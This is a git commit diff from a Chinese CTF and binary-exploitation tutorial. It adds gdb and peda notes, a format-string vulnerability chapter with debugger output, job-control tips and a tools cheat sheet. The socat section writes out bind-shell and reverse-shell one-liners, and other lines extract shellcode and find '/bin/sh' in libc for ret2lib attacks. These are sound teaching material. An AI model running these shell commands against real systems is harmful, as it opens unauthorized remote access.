This commit is contained in:
firmianay 2017-09-05 23:06:55 +08:00
parent ad2fce73a8
commit d9197c814a
4 changed files with 221 additions and 33 deletions

View File

@ -45,6 +45,93 @@ long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
## gdb 基本操作 ## gdb 基本操作
使用 `-tui` 选项可以将代码显示在一个漂亮的交互式窗口中。
#### break -- b
- `break` 当不带参数时,在所选栈帧中执行的下一条指令处设置断点。
- `break <function>` 在函数体入口处打断点。
- `break <line>` 在当前源码文件指定行的开始处打断点。
- `break -N` `break +N` 在当前源码行前面或后面的 `N` 行开始处打断点,`N` 为正整数。
- `break <filename:line>` 在源码文件 `filename``line` 行处打断点。
- `break <filename:function>` 在源码文件 `filename``function` 函数入口处打断点。
- `break <address>` 在程序指令的地址处打断点。
- `break ... if <cond>` 设置条件断点,`...` 代表上述参数之一(或无参数),`cond` 为条件表达式,仅在 `cond` 值非零时停住程序。
#### info breakpoints -- i b
查看断点,观察点和捕获点的列表。用法:
- `info breakpoints [list…]`
- `info break [list…]`
`list…` 用来指定若干个断点的编号(可省略),可以是 `2` `1-3` `2 5` 等。
#### disable -- dis
禁用断点,参数使用空格分隔。不带参数时禁用所有断点。
- `disable [breakpoints] [list…]` `breakpoints``disable` 的子命令(可省略),`list…` 同 `info breakpoints` 中的描述。
#### enable
启用断点,参数使用空格分隔。不带参数时启用所有断点。
- `enable [breakpoints] [list…]` 启用指定的断点(或所有定义的断点)。
- `enable [breakpoints] once list…` 临时启用指定的断点。GDB 在停止您的程序后立即禁用这些断点。
- `enable [breakpoints] delete list…` 使指定的断点启用一次然后删除。一旦您的程序停止GDB 就会删除这些断点。等效于用 `tbreak` 设置的断点。
`breakpoints``disable` 中的描述。
#### clear
在指定行或函数处清除断点。参数可以是行号,函数名称或 `*` 跟一个地址。
- `clear` 当不带参数时,清除所选栈帧在执行的源码行中的所有断点。
- `clear <function>`, `clear <filename:function>` 删除在命名函数的入口处设置的任何断点。
- `clear <line>`, `clear <filename:line>` 删除在指定的文件指定的行号的代码中设置的任何断点。
- `clear <address>` 清除指定程序指令的地址处的断点。
#### delete -- d
删除断点。参数使用空格分隔。不带参数时删除所有断点。
- `delete [breakpoints] [list…]`
#### tbreak
设置临时断点。参数形式同 `break` 一样。当第一次命中时被删除。
#### watch
#### step -- s
#### reverse-step
#### next -- n
#### reverse-next
#### return
#### finish -- fin
#### until -- u
#### continue -- c
#### print -- p
#### x
#### display
#### info display
#### disable display
#### enable display
#### undisplay
#### help -- h
#### attach
#### run -- r
#### backtrace -- bt
#### ptype
注意:使用 gdb 调试时,会自动关闭 ASLR所以可能每次看到的栈地址都不变。 注意:使用 gdb 调试时,会自动关闭 ASLR所以可能每次看到的栈地址都不变。
@ -57,6 +144,11 @@ $ echo "source ~/peda/peda.py" >> ~/.gdbinit
$ echo "DONE! debug your program with gdb and enjoy" $ echo "DONE! debug your program with gdb and enjoy"
``` ```
如果系统为 Arch Linux则可以直接安装
```shell
$ yaourt -S peda
```
#### peda命令 #### peda命令
- `aslr` - 显示/设置 gdb 的 ASLR - `aslr` - 显示/设置 gdb 的 ASLR
- `checksec` - 检查二进制文件的安全选项 - `checksec` - 检查二进制文件的安全选项

View File

@ -3,6 +3,7 @@
- [格式化输出函数和格式字符串](#格式化输出函数和格式字符串) - [格式化输出函数和格式字符串](#格式化输出函数和格式字符串)
- [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理) - [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理)
- [格式化字符串漏洞](#格式化字符串漏洞) - [格式化字符串漏洞](#格式化字符串漏洞)
- [x86-64 中的格式化字符串漏洞](#x8664-中的格式化字符串漏洞)
- [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞) - [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞)
- [扩展阅读](#扩展阅读) - [扩展阅读](#扩展阅读)
@ -299,6 +300,9 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
#### 覆盖任意地址内存 #### 覆盖任意地址内存
## x86-64 中的格式化字符串漏洞
## CTF 中的格式化字符串漏洞 ## CTF 中的格式化字符串漏洞
#### pwntools pwnlib.fmtster 模块 #### pwntools pwnlib.fmtster 模块
@ -356,12 +360,12 @@ gdb-peda$ r
gdb-peda$ n gdb-peda$ n
[----------------------------------registers-----------------------------------] [----------------------------------registers-----------------------------------]
EAX: 0xffffd1f0 ("AAAA\n") EAX: 0xffffd1f0 ("AAAA\n")
EBX: 0x804a000 --> 0x8049f10 --> 0x1 EBX: 0x804a000 --> 0x8049f10 --> 0x1
ECX: 0xffffd1f0 ("AAAA\n") ECX: 0xffffd1f0 ("AAAA\n")
EDX: 0x400 EDX: 0x400
ESI: 0xf7f97000 --> 0x1bbd90 ESI: 0xf7f97000 --> 0x1bbd90
EDI: 0x0 EDI: 0x0
EBP: 0xffffd5f8 --> 0x0 EBP: 0xffffd5f8 --> 0x0
ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n") ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>) EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -379,12 +383,12 @@ arg[0]: 0xffffd1f0 ("AAAA\n")
[------------------------------------stack-------------------------------------] [------------------------------------stack-------------------------------------]
0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n") 0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n") 0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
0008| 0xffffd1e8 --> 0x400 0008| 0xffffd1e8 --> 0x400
0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30) 0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)
0016| 0xffffd1f0 ("AAAA\n") 0016| 0xffffd1f0 ("AAAA\n")
0020| 0xffffd1f4 --> 0xa ('\n') 0020| 0xffffd1f4 --> 0xa ('\n')
0024| 0xffffd1f8 --> 0x0 0024| 0xffffd1f8 --> 0x0
0028| 0xffffd1fc --> 0x0 0028| 0xffffd1fc --> 0x0
[------------------------------------------------------------------------------] [------------------------------------------------------------------------------]
Legend: code, data, rodata, value Legend: code, data, rodata, value
0x08048512 in main () 0x08048512 in main ()
@ -393,7 +397,7 @@ Legend: code, data, rodata, value
读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset 读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset
```text ```text
$ readelf -r a.out $ readelf -r a.out
Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries: Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
Offset Info Type Sym.Value Sym. Name Offset Info Type Sym.Value Sym. Name

View File

@ -4,6 +4,7 @@
- [从可执行文件中提取 shellcode](#从可执行文件中提取-shellcode) - [从可执行文件中提取 shellcode](#从可执行文件中提取-shellcode)
- [查看进程虚拟地址空间](#查看进程虚拟地址空间) - [查看进程虚拟地址空间](#查看进程虚拟地址空间)
- [ASCII 表](#ascii-表) - [ASCII 表](#ascii-表)
- [nohup 和 &](#nohup-和)
## 重定向输入字符 ## 重定向输入字符
@ -193,3 +194,31 @@ D: - = M ] m }
E: . > N ^ n ~ E: . > N ^ n ~
F: / ? O _ o DEL F: / ? O _ o DEL
``` ```
## nohup 和 &
`nohup` 运行命令可以使命令永久的执行下去,和 Shell 没有关系,而 `&` 表示设置此进程为后台进程。默认情况下,进程是前台进程,这时就把 Shell 给占据了,我们无法进行其他操作,如果我们希望其在后台运行,可以使用 `&` 达到这个目的。
该命令的一般形式为:
```
$ nohup <command> &
```
#### 前后台进程切换
可以通过 `bg`background`fg`foreground命令进行前后台进程切换。
显示Linux中的任务列表及任务状态
```
$ jobs -l
[1]+ 9433 Stopped (tty input) ./a.out
```
将进程放到后台运行:
```
$ bg 1
```
将后台进程放到前台运行:
```
$ fg 1
```

View File

@ -7,8 +7,10 @@
- [ldd](#ldd) - [ldd](#ldd)
- [ltrace](#ltrace) - [ltrace](#ltrace)
- [md5sum](#md5sum) - [md5sum](#md5sum)
- [nm](#nm)
- [objdump](#objdump) - [objdump](#objdump)
- [readelf](#readelf) - [readelf](#readelf)
- [socat](#socat)
- [ssdeep](#ssdeep) - [ssdeep](#ssdeep)
- [strace](#strace) - [strace](#strace)
- [strings](#strings) - [strings](#strings)
@ -16,7 +18,7 @@
## dd ## dd
用于复制文件并对原文件的内容进行转换和格式化处理。 **dd** 命令用于复制文件并对原文件的内容进行转换和格式化处理。
#### 重要参数 #### 重要参数
```text ```text
@ -27,7 +29,7 @@ bs=BYTES read and write up to BYTES bytes at a time
``` ```
#### 常见用法 #### 常见用法
```text ```shell
$ dd if=[file1] of=[file2] skip=[size] bs=[bytes] $ dd if=[file1] of=[file2] skip=[size] bs=[bytes]
``` ```
@ -36,8 +38,8 @@ $ dd if=[file1] of=[file2] skip=[size] bs=[bytes]
**file** 命令用来探测给定文件的类型。 **file** 命令用来探测给定文件的类型。
#### 技巧 #### 技巧
```text ```shell
file -L [file] $ file -L [file]
``` ```
当文件是链接文件时,直接显示符号链接所指向的文件类别。 当文件是链接文件时,直接显示符号链接所指向的文件类别。
@ -45,17 +47,23 @@ file -L [file]
## edb ## edb
**edb** 是一个同时支持x86、x86-64的调试器。它主要向 OllyDbg 工具看齐,并可通过插件体系进行功能的扩充。 **edb** 是一个同时支持x86、x86-64的调试器。它主要向 OllyDbg 工具看齐,并可通过插件体系进行功能的扩充。
#### 安装
```shell
$ yaourt -S edb
```
## foremost ## foremost
foremost是一个基于文件文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。 **foremost** 是一个基于文件文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。
#### 安装 #### 安装
```text ```shell
$ yaourt -S foremost $ yaourt -S foremost
``` ```
## ldd ## ldd
用于打印程序或者库文件所依赖的共享库列表。 **ldd** 命令用于打印程序或者库文件所依赖的共享库列表。
## ltrace ## ltrace
@ -79,6 +87,17 @@ $ yaourt -S foremost
``` ```
## nm
**nm** 命令被用于显示二进制目标文件的符号表。
#### 重要参数
```text
-a, --debug-syms Display debugger-only symbols
-D, --dynamic Display dynamic symbols instead of normal symbols
-g, --extern-only Display only external symbols
```
## objdump ## objdump
**objdump** 命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。 **objdump** 命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。
@ -90,18 +109,18 @@ $ yaourt -S foremost
#### 常见用法 #### 常见用法
结合使用 *objdump**grep* 结合使用 *objdump**grep*
```text ```shell
objdump -d [executable] | grep -A 30 [function_name] $ objdump -d [executable] | grep -A 30 [function_name]
``` ```
查找 **GOT** 表地址: 查找 **GOT** 表地址:
```text ```shell
objdump -R [binary] | grep [function_name] $ objdump -R [binary] | grep [function_name]
``` ```
从可执行文件中提取 **shellcode** (注意在objdump中可能会删除空字节): 从可执行文件中提取 **shellcode** (注意在objdump中可能会删除空字节):
```text ```shell
for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done $ for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
``` ```
@ -118,8 +137,52 @@ for i in `objdump -d print_flag | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2
#### 常见用法 #### 常见用法
查找库中函数的偏移量,常用于**ret2lib** 查找库中函数的偏移量,常用于**ret2lib**
```text ```shell
readelf -s [path/to/library.so] | grep [function_name] $ readelf -s [path/to/library.so] | grep [function_name]
```
## socat
**socat** 是 netcat 的加强版CTF 中经常需要使用使用它连接服务器。
#### 安装
```shell
$ yaourt -S socat
```
#### 常见用法
```shell
$ socat [options] <address> <address>
```
连接远程端口
```shell
$ socat - TCP:localhost:80
```
监听端口
```shell
$ socat TCP-LISTEN:700 -
```
正向 shell
```shell
$ socat TCP-LISTEN:700 EXEC:/bin/bash
```
反弹 shell
```shell
$ socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane
```
将本地 80 端口转发到远程的 80 端口
```shell
$ socat TCP-LISTEN:80,fork TCP:www.domain.org:80
```
fork 服务器
```shell
$ socat tcp-l:9999,fork exec:./pwn1
``` ```
@ -133,9 +196,9 @@ readelf -s [path/to/library.so] | grep [function_name]
``` ```
#### 常见用法 #### 常见用法
```text ```shell
ssdeep -b orginal.elf > hash.txt $ ssdeep -b orginal.elf > hash.txt
ssdeep -bm hash.txt modified.elf $ ssdeep -bm hash.txt modified.elf
``` ```
@ -167,13 +230,13 @@ ssdeep -bm hash.txt modified.elf
组合使用 *strings**grep* 组合使用 *strings**grep*
**ret2lib** 攻击中,得到字符串的偏移: **ret2lib** 攻击中,得到字符串的偏移:
```text ```shell
strings -t x /lib32/libc-2.24.so | grep /bin/sh $ strings -t x /lib32/libc-2.24.so | grep /bin/sh
``` ```
检查是否使用了 **UPX** 加壳 检查是否使用了 **UPX** 加壳
```text ```shell
strings [executable] | grep -i upx $ strings [executable] | grep -i upx
``` ```
#### 练习 #### 练习
@ -194,8 +257,8 @@ strings [executable] | grep -i upx
``` ```
#### 常见用法 #### 常见用法
```text ```shell
xxd -g1 $ xxd -g1
``` ```
#### 练习 #### 练习